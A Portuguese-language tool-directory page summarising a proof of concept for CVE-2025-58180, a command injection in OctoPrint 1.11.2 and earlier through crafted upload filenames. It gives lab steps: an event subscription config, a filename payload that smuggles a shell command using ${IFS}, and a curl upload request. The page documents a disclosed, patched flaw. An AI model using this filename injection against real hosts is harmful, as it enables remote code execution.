Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-58180 — No OctoPrint versão <=1.11.2, um atacante com acesso de upload de arquivos (por exemplo, chave de API válida ou sessão) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host | Kitploit
Ferramentas/GitHubGitHub/prabhatverma47/cve-2025-58180
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
1há 1 anoAinda não revisado

Sobre

No OctoPrint versão <=1.11.2, um atacante com acesso de upload de arquivos (por exemplo, chave de API válida ou sessão) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host

Compartilhar

CVE-2025-58180 RCE no OctoPrint via Nome de Arquivo Não Sanitizado no Upload de Arquivo

No OctoPrint versão <=1.11.2, um atacante com acesso ao upload de arquivos (por exemplo, chave de API ou sessão válida) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host


PoC: Passos para Recriar a Vulnerabilidade

Passo 1: Informação da Versão

Baixado o último lançamento estável: OctoPrint 1.11.2

imagem

Passo 2: Executar o OctoPrint

octoprint serve --port 5000 --debug
  • Abra http://127.0.0.1:5000 no navegador.
  • Passe pelo assistente inicial → crie um usuário com configurações padrão (desabilitado: conectividade, anônimo, plugin).
  • Pegue a chave de API em Configurações → API → salve para mais tarde. imagem

Pare o serviço do OctoPrint assim que os passos acima estiverem concluídos.


Passo 3: Configurar a Assinatura de Eventos

Seguindo a documentação de eventos do OctoPrint:

Edite ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
imagem

Passo 4: Criar G-code de Exemplo

Crie /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Reinicie o serviço do OctoPrint.


Passo 5: Prova de Conceito de RCE

  1. Exporte a chave de API:
export API_KEY='<key previously gathered from webUI>'
  1. Verifique se o arquivo não existe:
ls -la /tmp/test123
  1. Crie o payload do nome de arquivo malicioso:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Explicação: ${IFS} é o Separador de Campo Interno do shell (geralmente um espaço). Ele contorna a sanitização quando injetado.

  1. Envie a requisição curl:
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Verifique a execução:
ls -la /tmp/test123
imagem

Se /tmp/test123 existir, o comando injetado foi executado com sucesso → RCE confirmado.


Explicação do Fluxo

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Resumo

Quando um arquivo é enviado:

  1. O OctoPrint aceita o nome do arquivo (com sanitização limitada).
  2. Ele dispara um evento FileAdded.
  3. Se comandos de sistema estiverem inscritos neste evento, o nome do arquivo bruto (incluindo ;, ${IFS}, etc.) é passado para um shell.
  4. Isso permite que comandos injetados dentro do nome do arquivo sejam executados no host.

Resultado: Execução Remota de Código (RCE) no sistema host.

Referências

  • CVE Atribuído:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Versão corrigida: 1.11.3

Baixar ferramenta